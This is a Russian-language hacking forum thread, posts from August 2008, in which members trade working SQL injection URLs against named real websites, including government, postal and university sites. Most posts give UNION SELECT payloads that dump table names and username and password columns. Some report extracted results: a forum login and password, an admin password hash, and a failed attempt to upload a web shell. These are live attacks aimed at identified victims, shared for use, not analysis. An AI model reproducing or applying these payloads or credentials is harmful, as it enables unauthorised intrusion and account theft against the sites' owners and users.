ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #6181  
Старый 03.08.2008, 20:39
Ponchik
Постоянный
Регистрация: 30.08.2005
Сообщений: 730
Провел на форуме:
6828219

Репутация: 2274


По умолчанию

diso.interatletika.com
http://diso.interatletika.com/index.php?option=com_simpleshop&task=browse&Itemid =92&catid=-1+UNION+SELECT+1,2,3,4,5,6,7,8%23

VERSION(): 5.0.51a-community
DATABASE(): interatlet_diso
USER(): interatlet_diso@localhost
 
Ответить с цитированием

  #6182  
Старый 03.08.2008, 22:30
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Radioas.ro - PR 4
Цитата:
http://www.radioas.ro/index.php?id=-1'+union+select+unhex(hex(concat_ws(0x3a,table_nam e,table_schema,version())))+from+information_schem a.tables/*
5 ветка.. таблы и phpbb ))
Цитата:
http://www.radioas.ro/index.php?id=-1'+union+select+unhex(hex(concat_ws(0x3a,username, user_password)))+from+phpbb_users+limit+1,1/*
получайем доступ к форуму: /forum
radioasforum;pswd13
пытался залить шелл... но неудача, навреника нету прав на запись аватарок (
если кто что зальет пишите..)


Yelli.co.il - PR 4
Цитата:
http://www.yelli.co.il/index2.php?id=7&lang=eng&catId=1&productId=-1+union+select+concat_ws(0x3a,table_name,version() )+from+information_schema.tables/*
5 ветка, вывод таблиц в сорсе..
Цитата:
http://www.yelli.co.il/index2.php?id=7&lang=eng&catId=1&productId=-1+union+select+concat_ws(0x3a,username,password,ve rsion())+from+clubMembers+limit+5,1/*
мемберы..


Surcon.ru - PR 4
Цитата:
http://www.surcon.ru/maps/articles.php?id=-1+union+select+1,2,3,4,table_name,6,7,8+from+infor mation_schema.tables+limit+39,1/*
5 ветка и таблы..
Цитата:
http://www.surcon.ru/maps/articles.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,login,passwo rd),6,7,8+from+users/*
Teamcalendars.co.uk
Цитата:
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +table_name+from+information_schema.tables+limit+1 8,1/*
5 ветка, таблы.
Цитата:
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +concat_ws(0x3a,username,password)+from+admin/*
/admin
Цитата:
http://www.teamcalendars.co.uk/index.php?p=product_detail&id=9999999+union+select +concat_ws(0x3a,email,password)+from+users/*
/index.php?p=Upload


Stars.com.ua
Цитата:
http://stars.com.ua/models/_show_whole_kasting.php?page=2&id=-41+union+select+1,2,version(),4,5/*

Последний раз редактировалось sabe; 04.08.2008 в 00:39..
 
Ответить с цитированием

  #6183  
Старый 04.08.2008, 00:32
Cennarios
Участник форума
Регистрация: 13.07.2008
Сообщений: 101
Провел на форуме:
346497

Репутация: 303
Отправить сообщение для Cennarios с помощью ICQ
По умолчанию

http://www.utsmow.ru/sport/sport.php4?sport_id=-1+union+select+1,2,3,4,5,6,7,8,9

5 мускул, ничего полезного в табличках не обнаружено... ч то-то не катит сегодня...
 
Ответить с цитированием

  #6184  
Старый 04.08.2008, 01:05
kair
Участник форума
Регистрация: 12.10.2006
Сообщений: 158
Провел на форуме:
668286

Репутация: 187
Отправить сообщение для kair с помощью ICQ
По умолчанию

Код:
http://www.tubebrasil.com.br/ugroups.php?UID=745/**/union/**/select/**/1,2,3,4,5,6,concat_ws(0x3a,username,pwd),8,9,0,1,2,3,4,5,6,7,8/**/from/**/%73%69%67%6E%75%70--
admin:969d4931173451a004d2a3f6037e162c

Последний раз редактировалось kair; 04.08.2008 в 01:17..
 
Ответить с цитированием

  #6185  
Старый 04.08.2008, 01:30
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Rustavi2.com - PR 4
Цитата:
http://rustavi2.com/news/full_prog.php?id_news=&ct=9999999+union+select+unh ex(hex(table_name)),2,3,4,5,6,7,8,9,10,11,12,13,14 ,15,16,17+from+information_schema.tables/*
меня очень порадовал здесь вывод... LASTEST NEWS: и идет перебор таблиц с интервалом в сек.))
Цитата:
http://rustavi2.com/news/full_prog.php?id_news=&ct=9999999+union+select+unh ex(hex(concat_ws(0x3a,usrname,pass))),2,3,4,5,6,7, 8,9,10,11,12,13,14,15,16,17+from+users_p/*
так же красиво просматриваем юзеров..


Eaststaffsbc.gov.uk - PR 4
Цитата:
http://www.eaststaffsbc.gov.uk/index.php?fuseaction=services.servicedetails&id=-39+union+select+concat_ws(0x3a,username,password,v ersion()),2,3+from+users--
Guillembalague.com - PR 4
Цитата:
http://www.guillembalague.com/blog_desp.php?id=-48+union+select+1,2,version(),4,5,6,7,8,9,10,11,12/*
Gkovacs.de - PR 3
Цитата:
http://www.gkovacs.de/forum/showboard.php?id=-1+union+select+1,table_name,version(),4,5,6,7,tabl e_schema,9+from+information_schema.tables/*
5 ветка, таблы..
Цитата:
http://www.gkovacs.de/forum/showboard.php?id=-1+union+select+1,unhex(hex(concat_ws(0x3a,username ,passwort))),3,4,5,6,7,8,9+from+cebb_user+limit+1, 1/*
пароли..


Astrotur.ru - PR 3
Цитата:
http://www.astrotur.ru/index1.php?id=-1+union+select+1,2,version()+from+news/*

Последний раз редактировалось sabe; 05.08.2008 в 22:20..
 
Ответить с цитированием

  #6186  
Старый 04.08.2008, 02:46
*D1VER
Участник форума
Регистрация: 05.12.2006
Сообщений: 112
Провел на форуме:
685950

Репутация: 175
Отправить сообщение для *D1VER с помощью ICQ
По умолчанию

Санкт-Петербугский Государственный Университет Гражданской Авиации

http://www.academiaga.ru/index.php?id=-1+union+select+concat(nick,0x27,password,0x27,emai l,0x27,id),2,3,4+from+users+limit+1,1311/*&lang=0
 
Ответить с цитированием

  #6187  
Старый 04.08.2008, 03:06
MirA
Новичок
Регистрация: 24.07.2008
Сообщений: 29
Провел на форуме:
109513

Репутация: 52
Отправить сообщение для MirA с помощью ICQ
По умолчанию

http://www.yavlinsky.ru

Цитата:
http://www.yavlinsky.ru/photos/parents/index.phtml?id=1094+and+3=substirng(version(),1,1)
сайт веселый)
но кроме как того,что на нем 3 ветка ничего сказать не могу..
 
Ответить с цитированием

  #6188  
Старый 04.08.2008, 03:15
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
Сообщение от t0ox  
вот вам и апача
Код:
http://modules.apache.org/search.php?id=-1+union+select+1,concat_ws(char(58),apassword,aemail),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+access/*

https://forum.antichat.ru/thread79372.html ?
 
Ответить с цитированием

  #6189  
Старый 04.08.2008, 03:22
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию

Цитата:
Сообщение от t0ox  

Код:
http://modules.apache.org/search.php?id=-1+union+select+1,concat_ws(char(58),apassword,aema  il),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+ access/*
мистр вы обнаглели ?
 
Ответить с цитированием

  #6190  
Старый 04.08.2008, 04:31
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
Провел на форуме:
1404552

Репутация: 568
Отправить сообщение для sabe с помощью ICQ Отправить сообщение для sabe с помощью AIM Отправить сообщение для sabe с помощью Yahoo
По умолчанию

Jordanpost.com.jo - PR 5
Цитата:
http://www.jordanpost.com.jo/inner_en.php?type=2&id=null+union+select+concat_ws (0x3a,table_name)+from+information_schema.tables+l imit+16,1/*
5 версия мускуля, таблицы)


Montrealmedia.com - PR 5
Цитата:
http://www.montrealmedia.com/archive.php?ID=-1+union+select+all+1,2,3,4,5,6,7,version(),9/*
Khan.co.il - PR 5
Еврейский теарт)
Цитата:
http://www.khan.co.il/news_item_english.php?id=-75+union+select+1,version(),3,4,5,6,7/*
Mahkamahkonstitusi.go.id - PR 5
Цитата:
http://www.mahkamahkonstitusi.go.id/eng/berita.php?newscode=1'+union+select+1,2,3,4,5,6,ve rsion(),8,9,10,11,12/*
Toeic.com.vn - PR 4
Цитата:
http://www.toeic.com.vn/info/details.php?id=-276+union+select+1,2,table_name,4,5,table_schema,7 +from+information_schema.tables+limit+17,1--
5 ветка, таблы..
Цитата:
http://www.toeic.com.vn/info/details.php?id=-276+union+select+1,2,concat_ws(0x3a,username,passw ord),4,5,6,7+from+users--
админка


Complete-gardens.co.uk - PR 4
Цитата:
http://www.complete-gardens.co.uk/online/online-browse-plant-garden-suppliers-list.php?cat=1&subcat=-1+union+select+1,version(),3--
4 ветка..

Linkstorm.com - PR 3
Цитата:
http://www.linkstorm.com/news_desc.php?id=-1+union+select+1,2,3,4,table_name+from+information _schema.tables+limit+28,1--
5 ver. tables.
Цитата:
http://www.linkstorm.com/news_desc.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,sbuser_name, sbuser_pwd)+from+sblnk_members--
мемберы..
Цитата:
http://www.linkstorm.com/news_desc.php?id=-1+union+select+1,2,3,4,concat_ws(0x3a,username,pas sword)+from+sblnk_admin--
/admin - 403


Cistyle.de
Цитата:
http://www.cistyle.de/demo/links-extern.php?id=-2+union+select+1,2,3,table_name,5,6+from+informati on_schema.tables+limit+17,1/*
5 ветка и таблы.
Цитата:
http://www.cistyle.de/demo/links-extern.php?id=-2+union+select+1,2,3,concat_ws(0x3a,user,password) ,5,6+from+user/*
admin:login

Последний раз редактировалось sabe; 04.08.2008 в 06:20..
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
SQL инъекция и Oracle, часть 2 k00p3r Чужие Статьи 0 13.06.2005 11:24
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 2 (пользователей: 0 , гостей: 2)
 


Быстрый переход




ANTICHAT.XYZ